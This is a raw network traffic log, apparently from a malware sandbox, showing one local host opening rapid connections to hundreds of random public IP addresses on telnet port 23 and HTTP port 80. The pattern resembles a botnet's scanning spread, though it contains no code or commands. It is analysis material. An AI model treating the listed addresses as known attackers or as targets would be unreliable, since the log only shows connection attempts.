Dec 3, 2024 23:01:47.671485901 CET	60046	80	192.168.2.23	54.94.22.113
Dec 3, 2024 23:01:47.671485901 CET	60046	80	192.168.2.23	39.202.57.254
Dec 3, 2024 23:01:47.671492100 CET	60046	80	192.168.2.23	36.186.184.228
Dec 3, 2024 23:01:47.671497107 CET	60046	80	192.168.2.23	83.243.31.245
Dec 3, 2024 23:01:47.671504021 CET	60046	80	192.168.2.23	113.243.177.22
Dec 3, 2024 23:01:47.671506882 CET	60046	80	192.168.2.23	160.205.14.226
Dec 3, 2024 23:01:47.671520948 CET	60046	80	192.168.2.23	157.214.30.101
Dec 3, 2024 23:01:47.671525002 CET	60046	80	192.168.2.23	4.155.66.120
Dec 3, 2024 23:01:47.671525002 CET	60046	80	192.168.2.23	157.83.4.219
Dec 3, 2024 23:01:47.671528101 CET	60046	80	192.168.2.23	198.109.6.59
Dec 3, 2024 23:01:47.671531916 CET	60046	80	192.168.2.23	206.228.52.44
Dec 3, 2024 23:01:47.671541929 CET	60046	80	192.168.2.23	24.191.82.184
Dec 3, 2024 23:01:47.671550035 CET	60046	80	192.168.2.23	113.31.52.101
Dec 3, 2024 23:01:47.671560049 CET	60046	80	192.168.2.23	185.172.65.108
Dec 3, 2024 23:01:47.671561956 CET	60046	80	192.168.2.23	148.26.67.43
Dec 3, 2024 23:01:47.671576023 CET	60046	80	192.168.2.23	169.92.61.56
Dec 3, 2024 23:01:47.671580076 CET	60046	80	192.168.2.23	57.86.137.175
Dec 3, 2024 23:01:47.671581984 CET	60046	80	192.168.2.23	59.132.216.228
Dec 3, 2024 23:01:47.671595097 CET	60046	80	192.168.2.23	5.173.155.246
Dec 3, 2024 23:01:47.671595097 CET	60046	80	192.168.2.23	203.77.109.81
Dec 3, 2024 23:01:47.671600103 CET	60046	80	192.168.2.23	135.143.192.172
Dec 3, 2024 23:01:47.671602011 CET	60046	80	192.168.2.23	137.213.108.213
Dec 3, 2024 23:01:47.671606064 CET	60046	80	192.168.2.23	137.247.94.204
Dec 3, 2024 23:01:47.671622992 CET	60046	80	192.168.2.23	218.232.188.55
Dec 3, 2024 23:01:47.671622992 CET	60046	80	192.168.2.23	179.212.113.30
Dec 3, 2024 23:01:47.671622992 CET	60046	80	192.168.2.23	88.45.171.22
Dec 3, 2024 23:01:47.671627045 CET	60046	80	192.168.2.23	174.117.79.231
Dec 3, 2024 23:01:47.671652079 CET	60046	80	192.168.2.23	144.96.120.37
Dec 3, 2024 23:01:47.671652079 CET	60046	80	192.168.2.23	151.74.114.213
Dec 3, 2024 23:01:47.671653986 CET	60046	80	192.168.2.23	219.84.83.68
Dec 3, 2024 23:01:47.671657085 CET	60046	80	192.168.2.23	171.5.137.77
Dec 3, 2024 23:01:47.671653986 CET	60046	80	192.168.2.23	122.81.225.120
Dec 3, 2024 23:01:47.671657085 CET	60046	80	192.168.2.23	23.74.91.150
Dec 3, 2024 23:01:47.671653986 CET	60046	80	192.168.2.23	66.30.232.128
Dec 3, 2024 23:01:47.671653986 CET	60046	80	192.168.2.23	90.24.52.108
Dec 3, 2024 23:01:47.671653986 CET	60046	80	192.168.2.23	187.24.239.114
Dec 3, 2024 23:01:47.671657085 CET	60046	80	192.168.2.23	108.67.77.93
Dec 3, 2024 23:01:47.671657085 CET	60046	80	192.168.2.23	188.245.125.46
Dec 3, 2024 23:01:47.671662092 CET	60046	80	192.168.2.23	138.38.107.155
Dec 3, 2024 23:01:47.671664000 CET	60046	80	192.168.2.23	143.142.173.111
Dec 3, 2024 23:01:47.671664000 CET	60046	80	192.168.2.23	43.201.197.216
Dec 3, 2024 23:01:47.671667099 CET	60046	80	192.168.2.23	43.122.85.243
Dec 3, 2024 23:01:47.671669006 CET	60046	80	192.168.2.23	65.24.243.118
Dec 3, 2024 23:01:47.671673059 CET	60046	80	192.168.2.23	196.22.63.188
Dec 3, 2024 23:01:47.671678066 CET	60046	80	192.168.2.23	113.77.8.80
Dec 3, 2024 23:01:47.671679020 CET	60046	80	192.168.2.23	151.54.9.214
Dec 3, 2024 23:01:47.671679020 CET	60046	80	192.168.2.23	61.208.92.171
Dec 3, 2024 23:01:47.671679020 CET	60046	80	192.168.2.23	84.20.169.132
Dec 3, 2024 23:01:47.671694994 CET	60046	80	192.168.2.23	46.118.115.128
Dec 3, 2024 23:01:47.671698093 CET	60046	80	192.168.2.23	179.124.155.76
Dec 3, 2024 23:01:47.671701908 CET	60046	80	192.168.2.23	178.242.200.228
Dec 3, 2024 23:01:47.671710014 CET	60046	80	192.168.2.23	109.230.121.136
Dec 3, 2024 23:01:47.671719074 CET	60046	80	192.168.2.23	130.244.150.135
Dec 3, 2024 23:01:47.671719074 CET	60046	80	192.168.2.23	86.182.218.228
Dec 3, 2024 23:01:47.671721935 CET	60046	80	192.168.2.23	150.77.172.182
Dec 3, 2024 23:01:47.671737909 CET	60046	80	192.168.2.23	95.16.40.205
Dec 3, 2024 23:01:47.671737909 CET	60046	80	192.168.2.23	97.244.248.158
Dec 3, 2024 23:01:47.671737909 CET	60046	80	192.168.2.23	219.201.243.100
Dec 3, 2024 23:01:47.671739101 CET	60046	80	192.168.2.23	101.83.107.235
Dec 3, 2024 23:01:47.671746016 CET	60046	80	192.168.2.23	58.126.83.148
Dec 3, 2024 23:01:47.671760082 CET	60046	80	192.168.2.23	79.112.219.223
Dec 3, 2024 23:01:47.671763897 CET	60046	80	192.168.2.23	101.84.65.45
Dec 3, 2024 23:01:47.671767950 CET	60046	80	192.168.2.23	83.27.195.225
Dec 3, 2024 23:01:47.671783924 CET	60046	80	192.168.2.23	211.184.79.134
Dec 3, 2024 23:01:47.671783924 CET	60046	80	192.168.2.23	210.37.12.99
Dec 3, 2024 23:01:47.671783924 CET	60046	80	192.168.2.23	45.101.147.104
Dec 3, 2024 23:01:47.671783924 CET	60046	80	192.168.2.23	150.251.86.158
Dec 3, 2024 23:01:47.671797991 CET	60046	80	192.168.2.23	173.9.157.240
Dec 3, 2024 23:01:47.671797991 CET	60046	80	192.168.2.23	145.71.209.72
Dec 3, 2024 23:01:47.671804905 CET	60046	80	192.168.2.23	124.36.190.78
Dec 3, 2024 23:01:47.671808958 CET	60046	80	192.168.2.23	137.161.44.127
Dec 3, 2024 23:01:47.671808958 CET	60046	80	192.168.2.23	105.103.103.34
Dec 3, 2024 23:01:47.671813011 CET	60046	80	192.168.2.23	174.215.229.143
Dec 3, 2024 23:01:47.671825886 CET	60046	80	192.168.2.23	59.152.131.52
Dec 3, 2024 23:01:47.671832085 CET	60046	80	192.168.2.23	89.114.171.248
Dec 3, 2024 23:01:47.671833992 CET	60046	80	192.168.2.23	116.5.107.202
Dec 3, 2024 23:01:47.671842098 CET	60046	80	192.168.2.23	14.168.93.164
Dec 3, 2024 23:01:47.671854019 CET	60046	80	192.168.2.23	181.232.190.220
Dec 3, 2024 23:01:47.671854019 CET	60046	80	192.168.2.23	173.38.44.133
Dec 3, 2024 23:01:47.671860933 CET	60046	80	192.168.2.23	71.254.128.91
Dec 3, 2024 23:01:47.671860933 CET	60046	80	192.168.2.23	12.205.82.167
Dec 3, 2024 23:01:47.671864033 CET	60046	80	192.168.2.23	217.181.131.179
Dec 3, 2024 23:01:47.671864033 CET	60046	80	192.168.2.23	100.56.118.165
Dec 3, 2024 23:01:47.671866894 CET	60046	80	192.168.2.23	154.0.185.87
Dec 3, 2024 23:01:47.671866894 CET	60046	80	192.168.2.23	183.102.205.222
Dec 3, 2024 23:01:47.671988010 CET	40890	80	192.168.2.23	143.158.148.33
Dec 3, 2024 23:01:47.756462097 CET	23	52030	217.32.184.17	192.168.2.23
Dec 3, 2024 23:01:47.756550074 CET	52030	23	192.168.2.23	217.32.184.17
Dec 3, 2024 23:01:47.756589890 CET	52030	23	192.168.2.23	217.32.184.17
Dec 3, 2024 23:01:47.783660889 CET	23	62862	119.209.229.180	192.168.2.23
Dec 3, 2024 23:01:47.783691883 CET	23	62862	27.178.250.112	192.168.2.23
Dec 3, 2024 23:01:47.783704042 CET	23	62862	64.61.186.99	192.168.2.23
Dec 3, 2024 23:01:47.783714056 CET	23	62862	188.31.146.86	192.168.2.23
Dec 3, 2024 23:01:47.783730984 CET	23	62862	146.52.78.41	192.168.2.23
Dec 3, 2024 23:01:47.783737898 CET	62862	23	192.168.2.23	119.209.229.180
Dec 3, 2024 23:01:47.783740044 CET	62862	23	192.168.2.23	27.178.250.112
Dec 3, 2024 23:01:47.783744097 CET	62862	23	192.168.2.23	64.61.186.99
Dec 3, 2024 23:01:47.783766985 CET	23	62862	183.50.85.146	192.168.2.23
Dec 3, 2024 23:01:47.783770084 CET	62862	23	192.168.2.23	188.31.146.86
Dec 3, 2024 23:01:47.783776045 CET	62862	23	192.168.2.23	146.52.78.41
Dec 3, 2024 23:01:47.783777952 CET	23	62862	62.5.120.238	192.168.2.23
Dec 3, 2024 23:01:47.783804893 CET	62862	23	192.168.2.23	183.50.85.146
Dec 3, 2024 23:01:47.783807993 CET	62862	23	192.168.2.23	62.5.120.238
Dec 3, 2024 23:01:47.783818960 CET	23	62862	78.193.158.66	192.168.2.23
Dec 3, 2024 23:01:47.783829927 CET	23	62862	219.106.208.200	192.168.2.23
Dec 3, 2024 23:01:47.783839941 CET	23	62862	12.37.242.145	192.168.2.23
Dec 3, 2024 23:01:47.783857107 CET	23	62862	169.53.34.204	192.168.2.23
Dec 3, 2024 23:01:47.783858061 CET	62862	23	192.168.2.23	78.193.158.66
Dec 3, 2024 23:01:47.783865929 CET	23	62862	84.201.119.121	192.168.2.23
Dec 3, 2024 23:01:47.783868074 CET	62862	23	192.168.2.23	219.106.208.200
Dec 3, 2024 23:01:47.783870935 CET	62862	23	192.168.2.23	12.37.242.145
Dec 3, 2024 23:01:47.783895969 CET	62862	23	192.168.2.23	84.201.119.121
Dec 3, 2024 23:01:47.783898115 CET	62862	23	192.168.2.23	169.53.34.204
Dec 3, 2024 23:01:47.783905983 CET	23	62862	203.30.175.24	192.168.2.23
Dec 3, 2024 23:01:47.783915997 CET	23	62862	53.199.70.78	192.168.2.23
Dec 3, 2024 23:01:47.783920050 CET	23	62862	108.38.225.91	192.168.2.23
Dec 3, 2024 23:01:47.783948898 CET	62862	23	192.168.2.23	203.30.175.24
Dec 3, 2024 23:01:47.783948898 CET	62862	23	192.168.2.23	53.199.70.78
Dec 3, 2024 23:01:47.783951044 CET	62862	23	192.168.2.23	108.38.225.91
Dec 3, 2024 23:01:47.784143925 CET	23	62862	187.212.156.185	192.168.2.23
Dec 3, 2024 23:01:47.784152985 CET	23	62862	5.187.202.17	192.168.2.23
Dec 3, 2024 23:01:47.784157038 CET	23	62862	66.61.48.249	192.168.2.23
Dec 3, 2024 23:01:47.784185886 CET	62862	23	192.168.2.23	5.187.202.17
Dec 3, 2024 23:01:47.784187078 CET	62862	23	192.168.2.23	66.61.48.249
Dec 3, 2024 23:01:47.784188032 CET	62862	23	192.168.2.23	187.212.156.185
Dec 3, 2024 23:01:47.880630970 CET	23	62862	117.31.61.178	192.168.2.23
Dec 3, 2024 23:01:47.880671024 CET	23	62862	172.47.222.220	192.168.2.23
Dec 3, 2024 23:01:47.880681992 CET	23	62862	191.94.195.254	192.168.2.23
Dec 3, 2024 23:01:47.880686045 CET	23	62862	188.207.21.230	192.168.2.23
Dec 3, 2024 23:01:47.880686998 CET	62862	23	192.168.2.23	117.31.61.178
Dec 3, 2024 23:01:47.880724907 CET	62862	23	192.168.2.23	188.207.21.230
Dec 3, 2024 23:01:47.880726099 CET	62862	23	192.168.2.23	172.47.222.220
Dec 3, 2024 23:01:47.880727053 CET	23	62862	160.186.215.91	192.168.2.23
Dec 3, 2024 23:01:47.880734921 CET	62862	23	192.168.2.23	191.94.195.254
Dec 3, 2024 23:01:47.880736113 CET	23	62862	148.123.251.117	192.168.2.23
Dec 3, 2024 23:01:47.880747080 CET	23	62862	57.19.173.215	192.168.2.23
Dec 3, 2024 23:01:47.880754948 CET	23	62862	146.240.255.41	192.168.2.23
Dec 3, 2024 23:01:47.880769014 CET	62862	23	192.168.2.23	160.186.215.91
Dec 3, 2024 23:01:47.880769968 CET	62862	23	192.168.2.23	57.19.173.215
Dec 3, 2024 23:01:47.880773067 CET	23	62862	205.10.98.5	192.168.2.23
Dec 3, 2024 23:01:47.880778074 CET	62862	23	192.168.2.23	148.123.251.117
Dec 3, 2024 23:01:47.880783081 CET	23	62862	99.95.26.95	192.168.2.23
Dec 3, 2024 23:01:47.880784988 CET	62862	23	192.168.2.23	146.240.255.41
Dec 3, 2024 23:01:47.880800962 CET	62862	23	192.168.2.23	205.10.98.5
Dec 3, 2024 23:01:47.880812883 CET	23	62862	157.66.12.200	192.168.2.23
Dec 3, 2024 23:01:47.880815983 CET	62862	23	192.168.2.23	99.95.26.95
Dec 3, 2024 23:01:47.880821943 CET	23	62862	222.183.224.63	192.168.2.23
Dec 3, 2024 23:01:47.880834103 CET	23	62862	9.87.184.236	192.168.2.23
Dec 3, 2024 23:01:47.880842924 CET	23	62862	126.148.99.11	192.168.2.23
Dec 3, 2024 23:01:47.880855083 CET	62862	23	192.168.2.23	157.66.12.200
Dec 3, 2024 23:01:47.880857944 CET	62862	23	192.168.2.23	222.183.224.63
Dec 3, 2024 23:01:47.880873919 CET	62862	23	192.168.2.23	9.87.184.236
Dec 3, 2024 23:01:47.880875111 CET	62862	23	192.168.2.23	126.148.99.11
Dec 3, 2024 23:01:47.880907059 CET	23	62862	203.249.144.5	192.168.2.23
Dec 3, 2024 23:01:47.880917072 CET	23	62862	9.43.113.82	192.168.2.23
Dec 3, 2024 23:01:47.880924940 CET	23	62862	94.66.0.85	192.168.2.23
Dec 3, 2024 23:01:47.880934000 CET	23	62862	165.223.114.197	192.168.2.23
Dec 3, 2024 23:01:47.880942106 CET	23	62862	177.242.36.229	192.168.2.23
Dec 3, 2024 23:01:47.880942106 CET	62862	23	192.168.2.23	203.249.144.5
Dec 3, 2024 23:01:47.880942106 CET	62862	23	192.168.2.23	9.43.113.82
Dec 3, 2024 23:01:47.880949974 CET	23	62862	199.203.205.161	192.168.2.23
Dec 3, 2024 23:01:47.880959988 CET	62862	23	192.168.2.23	94.66.0.85
Dec 3, 2024 23:01:47.880961895 CET	23	62862	137.112.172.224	192.168.2.23
Dec 3, 2024 23:01:47.880964041 CET	62862	23	192.168.2.23	165.223.114.197
Dec 3, 2024 23:01:47.880970955 CET	23	62862	82.71.173.74	192.168.2.23
Dec 3, 2024 23:01:47.880976915 CET	62862	23	192.168.2.23	177.242.36.229
Dec 3, 2024 23:01:47.880984068 CET	62862	23	192.168.2.23	199.203.205.161
Dec 3, 2024 23:01:47.880986929 CET	62862	23	192.168.2.23	137.112.172.224
Dec 3, 2024 23:01:47.881000996 CET	62862	23	192.168.2.23	82.71.173.74
Dec 3, 2024 23:01:47.881025076 CET	23	62862	196.59.52.253	192.168.2.23
Dec 3, 2024 23:01:47.881062031 CET	62862	23	192.168.2.23	196.59.52.253
Dec 3, 2024 23:01:47.881335974 CET	23	62862	84.201.227.38	192.168.2.23
Dec 3, 2024 23:01:47.881346941 CET	23	62862	90.76.23.188	192.168.2.23
Dec 3, 2024 23:01:47.881356001 CET	23	62862	189.159.143.144	192.168.2.23
Dec 3, 2024 23:01:47.881371975 CET	23	62862	50.249.50.205	192.168.2.23
Dec 3, 2024 23:01:47.881373882 CET	62862	23	192.168.2.23	84.201.227.38
Dec 3, 2024 23:01:47.881373882 CET	62862	23	192.168.2.23	90.76.23.188
Dec 3, 2024 23:01:47.881391048 CET	62862	23	192.168.2.23	189.159.143.144
Dec 3, 2024 23:01:47.881409883 CET	62862	23	192.168.2.23	50.249.50.205
Dec 3, 2024 23:01:47.881450891 CET	23	62862	107.239.188.123	192.168.2.23
Dec 3, 2024 23:01:47.881459951 CET	23	62862	131.137.233.6	192.168.2.23
Dec 3, 2024 23:01:47.881469965 CET	23	62862	35.87.199.18	192.168.2.23
Dec 3, 2024 23:01:47.881478071 CET	23	62862	136.210.98.39	192.168.2.23
Dec 3, 2024 23:01:47.881484032 CET	62862	23	192.168.2.23	107.239.188.123
Dec 3, 2024 23:01:47.881486893 CET	23	62862	185.113.172.19	192.168.2.23
Dec 3, 2024 23:01:47.881494999 CET	62862	23	192.168.2.23	35.87.199.18
Dec 3, 2024 23:01:47.881495953 CET	23	62862	66.214.231.138	192.168.2.23
Dec 3, 2024 23:01:47.881496906 CET	62862	23	192.168.2.23	131.137.233.6
Dec 3, 2024 23:01:47.881500959 CET	23	62862	141.137.12.227	192.168.2.23
Dec 3, 2024 23:01:47.881510973 CET	62862	23	192.168.2.23	136.210.98.39
Dec 3, 2024 23:01:47.881515026 CET	23	62862	149.162.101.231	192.168.2.23
Dec 3, 2024 23:01:47.881525040 CET	23	62862	184.124.117.7	192.168.2.23
Dec 3, 2024 23:01:47.881527901 CET	62862	23	192.168.2.23	66.214.231.138
Dec 3, 2024 23:01:47.881529093 CET	62862	23	192.168.2.23	185.113.172.19
Dec 3, 2024 23:01:47.881530046 CET	62862	23	192.168.2.23	141.137.12.227
Dec 3, 2024 23:01:47.881541967 CET	23	62862	32.101.73.61	192.168.2.23
Dec 3, 2024 23:01:47.881547928 CET	62862	23	192.168.2.23	149.162.101.231
Dec 3, 2024 23:01:47.881551027 CET	23	62862	164.90.23.112	192.168.2.23
Dec 3, 2024 23:01:47.881560087 CET	23	62862	90.171.150.97	192.168.2.23
Dec 3, 2024 23:01:47.881561995 CET	62862	23	192.168.2.23	184.124.117.7
Dec 3, 2024 23:01:47.881567955 CET	23	62862	210.145.23.219	192.168.2.23
Dec 3, 2024 23:01:47.881578922 CET	62862	23	192.168.2.23	32.101.73.61
Dec 3, 2024 23:01:47.881583929 CET	62862	23	192.168.2.23	164.90.23.112
Dec 3, 2024 23:01:47.881584883 CET	23	62862	37.144.180.150	192.168.2.23
Dec 3, 2024 23:01:47.881596088 CET	23	62862	111.85.216.214	192.168.2.23
Dec 3, 2024 23:01:47.881601095 CET	62862	23	192.168.2.23	210.145.23.219
Dec 3, 2024 23:01:47.881602049 CET	62862	23	192.168.2.23	90.171.150.97
Dec 3, 2024 23:01:47.881618023 CET	62862	23	192.168.2.23	37.144.180.150
Dec 3, 2024 23:01:47.881624937 CET	62862	23	192.168.2.23	111.85.216.214
Dec 3, 2024 23:01:47.881645918 CET	23	62862	191.115.137.156	192.168.2.23
Dec 3, 2024 23:01:47.881654978 CET	23	62862	44.135.170.146	192.168.2.23
Dec 3, 2024 23:01:47.881664038 CET	23	62862	136.149.88.56	192.168.2.23
Dec 3, 2024 23:01:47.881681919 CET	62862	23	192.168.2.23	191.115.137.156
Dec 3, 2024 23:01:47.881688118 CET	62862	23	192.168.2.23	44.135.170.146
Dec 3, 2024 23:01:47.881697893 CET	62862	23	192.168.2.23	136.149.88.56
Dec 3, 2024 23:01:47.907860041 CET	23	62862	150.23.250.29	192.168.2.23
Dec 3, 2024 23:01:47.907869101 CET	23	62862	153.15.97.22	192.168.2.23
Dec 3, 2024 23:01:47.907877922 CET	23	62862	169.64.207.107	192.168.2.23
Dec 3, 2024 23:01:47.907913923 CET	62862	23	192.168.2.23	150.23.250.29
Dec 3, 2024 23:01:47.907913923 CET	62862	23	192.168.2.23	153.15.97.22
Dec 3, 2024 23:01:47.907918930 CET	23	62862	139.212.79.204	192.168.2.23
Dec 3, 2024 23:01:47.907929897 CET	62862	23	192.168.2.23	169.64.207.107
Dec 3, 2024 23:01:47.907937050 CET	23	62862	74.31.3.86	192.168.2.23
Dec 3, 2024 23:01:47.907947063 CET	23	62862	174.167.160.110	192.168.2.23
Dec 3, 2024 23:01:47.907954931 CET	23	62862	178.42.150.44	192.168.2.23
Dec 3, 2024 23:01:47.907962084 CET	62862	23	192.168.2.23	139.212.79.204
Dec 3, 2024 23:01:47.907974005 CET	23	62862	13.206.86.154	192.168.2.23
Dec 3, 2024 23:01:47.907978058 CET	62862	23	192.168.2.23	74.31.3.86
Dec 3, 2024 23:01:47.907978058 CET	62862	23	192.168.2.23	174.167.160.110
Dec 3, 2024 23:01:47.907984018 CET	23	62862	204.169.208.227	192.168.2.23
Dec 3, 2024 23:01:47.907994032 CET	23	62862	72.81.238.182	192.168.2.23
Dec 3, 2024 23:01:47.907995939 CET	62862	23	192.168.2.23	178.42.150.44
Dec 3, 2024 23:01:47.908011913 CET	23	62862	169.176.250.43	192.168.2.23
Dec 3, 2024 23:01:47.908013105 CET	62862	23	192.168.2.23	204.169.208.227
Dec 3, 2024 23:01:47.908013105 CET	62862	23	192.168.2.23	13.206.86.154
Dec 3, 2024 23:01:47.908020020 CET	23	62862	25.113.154.93	192.168.2.23
Dec 3, 2024 23:01:47.908035994 CET	62862	23	192.168.2.23	72.81.238.182
Dec 3, 2024 23:01:47.908051968 CET	62862	23	192.168.2.23	169.176.250.43
Dec 3, 2024 23:01:47.908052921 CET	62862	23	192.168.2.23	25.113.154.93
Dec 3, 2024 23:01:47.908071041 CET	23	62862	59.146.231.31	192.168.2.23
Dec 3, 2024 23:01:47.908080101 CET	23	62862	132.134.13.237	192.168.2.23
Dec 3, 2024 23:01:47.908082962 CET	23	62862	219.173.27.42	192.168.2.23
Dec 3, 2024 23:01:47.908091068 CET	23	62862	112.37.210.65	192.168.2.23
Dec 3, 2024 23:01:47.908098936 CET	23	62862	99.104.231.203	192.168.2.23
Dec 3, 2024 23:01:47.908113003 CET	62862	23	192.168.2.23	59.146.231.31
Dec 3, 2024 23:01:47.908116102 CET	62862	23	192.168.2.23	132.134.13.237
Dec 3, 2024 23:01:47.908124924 CET	62862	23	192.168.2.23	112.37.210.65
Dec 3, 2024 23:01:47.908128023 CET	62862	23	192.168.2.23	219.173.27.42
Dec 3, 2024 23:01:47.908133984 CET	62862	23	192.168.2.23	99.104.231.203
Dec 3, 2024 23:01:47.908211946 CET	23	62862	218.170.127.105	192.168.2.23
Dec 3, 2024 23:01:47.908221960 CET	23	62862	14.4.35.142	192.168.2.23
Dec 3, 2024 23:01:47.908229113 CET	23	62862	187.207.79.165	192.168.2.23
Dec 3, 2024 23:01:47.908237934 CET	23	62862	170.205.116.243	192.168.2.23
Dec 3, 2024 23:01:47.908245087 CET	23	62862	49.194.57.152	192.168.2.23
Dec 3, 2024 23:01:47.908251047 CET	62862	23	192.168.2.23	218.170.127.105
Dec 3, 2024 23:01:47.908253908 CET	23	62862	139.155.199.215	192.168.2.23
Dec 3, 2024 23:01:47.908266068 CET	23	62862	186.98.86.230	192.168.2.23
Dec 3, 2024 23:01:47.908267975 CET	62862	23	192.168.2.23	14.4.35.142
Dec 3, 2024 23:01:47.908267975 CET	62862	23	192.168.2.23	187.207.79.165
Dec 3, 2024 23:01:47.908273935 CET	23	62862	133.128.172.69	192.168.2.23
Dec 3, 2024 23:01:47.908274889 CET	62862	23	192.168.2.23	170.205.116.243
Dec 3, 2024 23:01:47.908276081 CET	62862	23	192.168.2.23	49.194.57.152
Dec 3, 2024 23:01:47.908283949 CET	23	62862	12.119.229.224	192.168.2.23
Dec 3, 2024 23:01:47.908291101 CET	62862	23	192.168.2.23	139.155.199.215
Dec 3, 2024 23:01:47.908293962 CET	23	62862	100.234.137.2	192.168.2.23
Dec 3, 2024 23:01:47.908302069 CET	23	62862	31.78.221.111	192.168.2.23
Dec 3, 2024 23:01:47.908302069 CET	62862	23	192.168.2.23	133.128.172.69
Dec 3, 2024 23:01:47.908303022 CET	62862	23	192.168.2.23	186.98.86.230
Dec 3, 2024 23:01:47.908317089 CET	62862	23	192.168.2.23	12.119.229.224
Dec 3, 2024 23:01:47.908334970 CET	62862	23	192.168.2.23	100.234.137.2
Dec 3, 2024 23:01:47.908334970 CET	62862	23	192.168.2.23	31.78.221.111
Dec 3, 2024 23:01:47.908565044 CET	23	62862	180.141.31.6	192.168.2.23
Dec 3, 2024 23:01:47.908575058 CET	23	62862	110.62.4.127	192.168.2.23
Dec 3, 2024 23:01:47.908584118 CET	23	62862	180.135.168.138	192.168.2.23
Dec 3, 2024 23:01:47.908601046 CET	23	62862	80.255.98.79	192.168.2.23
Dec 3, 2024 23:01:47.908606052 CET	62862	23	192.168.2.23	180.141.31.6
Dec 3, 2024 23:01:47.908607006 CET	62862	23	192.168.2.23	110.62.4.127
Dec 3, 2024 23:01:47.908611059 CET	23	62862	115.30.89.247	192.168.2.23
Dec 3, 2024 23:01:47.908620119 CET	62862	23	192.168.2.23	180.135.168.138
Dec 3, 2024 23:01:47.908622026 CET	80	60046	144.233.250.218	192.168.2.23
Dec 3, 2024 23:01:47.908629894 CET	62862	23	192.168.2.23	80.255.98.79
Dec 3, 2024 23:01:47.908636093 CET	62862	23	192.168.2.23	115.30.89.247
Dec 3, 2024 23:01:47.908662081 CET	60046	80	192.168.2.23	144.233.250.218
Dec 3, 2024 23:01:47.908670902 CET	80	60046	1.57.198.16	192.168.2.23
Dec 3, 2024 23:01:47.908710957 CET	23	52030	217.32.184.17	192.168.2.23
Dec 3, 2024 23:01:47.908710957 CET	60046	80	192.168.2.23	1.57.198.16
Dec 3, 2024 23:01:47.908772945 CET	52030	23	192.168.2.23	217.32.184.17
Dec 3, 2024 23:01:48.128493071 CET	23	52030	217.32.184.17	192.168.2.23
Dec 3, 2024 23:01:48.322799921 CET	43928	443	192.168.2.23	91.189.91.42
Dec 3, 2024 23:01:48.663042068 CET	62862	23	192.168.2.23	142.93.77.197
Dec 3, 2024 23:01:48.663041115 CET	62862	23	192.168.2.23	50.210.157.182
Dec 3, 2024 23:01:48.663042068 CET	62862	23	192.168.2.23	23.93.28.77
Dec 3, 2024 23:01:48.663049936 CET	62862	23	192.168.2.23	193.140.128.40
Dec 3, 2024 23:01:48.663053989 CET	62862	23	192.168.2.23	203.22.164.77
Dec 3, 2024 23:01:48.663052082 CET	62862	23	192.168.2.23	162.42.165.221
Dec 3, 2024 23:01:48.663053989 CET	62862	23	192.168.2.23	102.52.97.61
Dec 3, 2024 23:01:48.663052082 CET	62862	23	192.168.2.23	181.86.104.115
Dec 3, 2024 23:01:48.663060904 CET	62862	23	192.168.2.23	168.186.52.28
Dec 3, 2024 23:01:48.663060904 CET	62862	23	192.168.2.23	73.101.59.4
Dec 3, 2024 23:01:48.663064957 CET	62862	23	192.168.2.23	119.62.14.70
Dec 3, 2024 23:01:48.663085938 CET	62862	23	192.168.2.23	213.14.33.159
Dec 3, 2024 23:01:48.663085938 CET	62862	23	192.168.2.23	8.65.157.172
Dec 3, 2024 23:01:48.663093090 CET	62862	23	192.168.2.23	39.84.85.114
Dec 3, 2024 23:01:48.663093090 CET	62862	23	192.168.2.23	71.77.97.186
Dec 3, 2024 23:01:48.663093090 CET	62862	23	192.168.2.23	211.7.248.232
Dec 3, 2024 23:01:48.663093090 CET	62862	23	192.168.2.23	98.22.107.167
Dec 3, 2024 23:01:48.663093090 CET	62862	23	192.168.2.23	71.168.58.99
Dec 3, 2024 23:01:48.663093090 CET	62862	23	192.168.2.23	167.174.253.249
Dec 3, 2024 23:01:48.663093090 CET	62862	23	192.168.2.23	102.74.191.156
Dec 3, 2024 23:01:48.663094997 CET	62862	23	192.168.2.23	53.154.233.124
Dec 3, 2024 23:01:48.663093090 CET	62862	23	192.168.2.23	198.252.29.118
Dec 3, 2024 23:01:48.663093090 CET	62862	23	192.168.2.23	2.144.249.178
Dec 3, 2024 23:01:48.663094997 CET	62862	23	192.168.2.23	98.216.81.222
Dec 3, 2024 23:01:48.663099051 CET	62862	23	192.168.2.23	119.111.45.134
Dec 3, 2024 23:01:48.663100004 CET	62862	23	192.168.2.23	109.9.206.241
Dec 3, 2024 23:01:48.663101912 CET	62862	23	192.168.2.23	115.85.89.66
Dec 3, 2024 23:01:48.663103104 CET	62862	23	192.168.2.23	146.136.147.73
Dec 3, 2024 23:01:48.663103104 CET	62862	23	192.168.2.23	72.0.224.138
Dec 3, 2024 23:01:48.663103104 CET	62862	23	192.168.2.23	95.233.155.162
Dec 3, 2024 23:01:48.663103104 CET	62862	23	192.168.2.23	158.84.163.173
Dec 3, 2024 23:01:48.663103104 CET	62862	23	192.168.2.23	44.24.160.175
Dec 3, 2024 23:01:48.663103104 CET	62862	23	192.168.2.23	203.139.76.208
Dec 3, 2024 23:01:48.663105965 CET	62862	23	192.168.2.23	94.122.203.225
Dec 3, 2024 23:01:48.663108110 CET	62862	23	192.168.2.23	121.244.182.44
Dec 3, 2024 23:01:48.663108110 CET	62862	23	192.168.2.23	70.246.115.9
Dec 3, 2024 23:01:48.663111925 CET	62862	23	192.168.2.23	103.18.44.62
Dec 3, 2024 23:01:48.663111925 CET	62862	23	192.168.2.23	207.173.199.96
Dec 3, 2024 23:01:48.663111925 CET	62862	23	192.168.2.23	40.204.239.45
Dec 3, 2024 23:01:48.663111925 CET	62862	23	192.168.2.23	203.136.20.239
Dec 3, 2024 23:01:48.663111925 CET	62862	23	192.168.2.23	100.136.26.10
Dec 3, 2024 23:01:48.663111925 CET	62862	23	192.168.2.23	139.30.190.68
Dec 3, 2024 23:01:48.663111925 CET	62862	23	192.168.2.23	39.201.90.57
Dec 3, 2024 23:01:48.663111925 CET	62862	23	192.168.2.23	115.64.16.180
Dec 3, 2024 23:01:48.663134098 CET	62862	23	192.168.2.23	107.135.178.19
Dec 3, 2024 23:01:48.663134098 CET	62862	23	192.168.2.23	73.21.0.138
Dec 3, 2024 23:01:48.663134098 CET	62862	23	192.168.2.23	164.44.38.211
Dec 3, 2024 23:01:48.663135052 CET	62862	23	192.168.2.23	164.166.169.107
Dec 3, 2024 23:01:48.663135052 CET	62862	23	192.168.2.23	131.236.20.11
Dec 3, 2024 23:01:48.663147926 CET	62862	23	192.168.2.23	44.63.167.89
Dec 3, 2024 23:01:48.663147926 CET	62862	23	192.168.2.23	5.106.48.241
